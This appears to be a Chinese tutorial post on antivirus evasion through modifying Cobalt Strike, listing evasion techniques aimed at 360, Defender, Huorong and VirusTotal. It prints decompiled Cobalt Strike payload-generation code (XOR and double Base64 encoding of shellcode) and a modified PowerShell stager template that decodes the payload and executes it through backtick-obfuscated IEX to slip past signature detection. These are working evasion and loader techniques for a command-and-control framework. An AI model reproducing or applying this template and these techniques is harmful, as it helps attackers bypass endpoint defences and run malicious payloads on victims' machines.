第119天:免杀对抗-二开CS&Shellcode函数修改&生成模版修改&反编译重打包(下)

第119天:免杀对抗-二开CS&Shellcode函数修改&生成模版修改&反编译重打包(下)_第1张图片

知识点

#知识点:
1、CS-表面特征消除
2、CS-HTTP流量特征消除
3、CS-Shellcode特征消除

#章节点:
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态

对抗目标:
X60 Defender 某绒 管家 VT等

编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM NIM Vlang等。

涉及技术:
ShellCode混淆,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等

演示案例

1、C/C++--生成&模版修改
2、Powershell-生成&模版修改
3、Raw-资源&监听后生成对比
#C/C++--生成&模版修改
-Transforms.java
public static byte[] toC(byte[] var0) {
      Packer var1 = new Packer();
      var1.addString("/* length: " + var0.length + " bytes */\n");
      var1.addString("unsigned char buf[] = \"" + CommonUtils.bString(toVeil(var0)) + "\";\n");
      return var1.getBytes();
   }

#Powershell-生成&模版修改
-生成代码:
ResourceUtils.java
public byte[] _buildPowerShellNoHint(byte[] var1, String var2) throws IOException {
      InputStream var3 = CommonUtils.resource("resources/template." + var2 + ".ps1");
      byte[] var4 = CommonUtils.readAll(var3);
      var3.close();
      String var5 = CommonUtils.bString(var4);
      byte[] var6 = new byte[]{35};
      var1 = CommonUtils.XorString(var1, var6);
      var5 = CommonUtils.strrep(var5, "%%DATA%%", Base64.encode(Base64.encode(var1)));
      return CommonUtils.toBytes(var5);
   }
-模版文件:
Set-StrictMode -Version 2

$x1=''
$x2='%%DATA%%'
$x3=''

$xx1=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x1))
$xx2=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x2))
$xx3=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x3))
$xxx=$xx1+$xx2+$xx3
print($xxx)
If ([IntPtr]::size -eq 8) {
	start-job { param($a) IE`X $a } -RunAs32 -Argument $xxx | wait-job | Receive-Job
}
else {
	I`EX $xxx
}

#Raw-资源&监听后生成对比
httpstager.bin 对比 payload.bin

你可能感兴趣的:(免杀对抗,免杀,golang,c#,开发语言,汇编)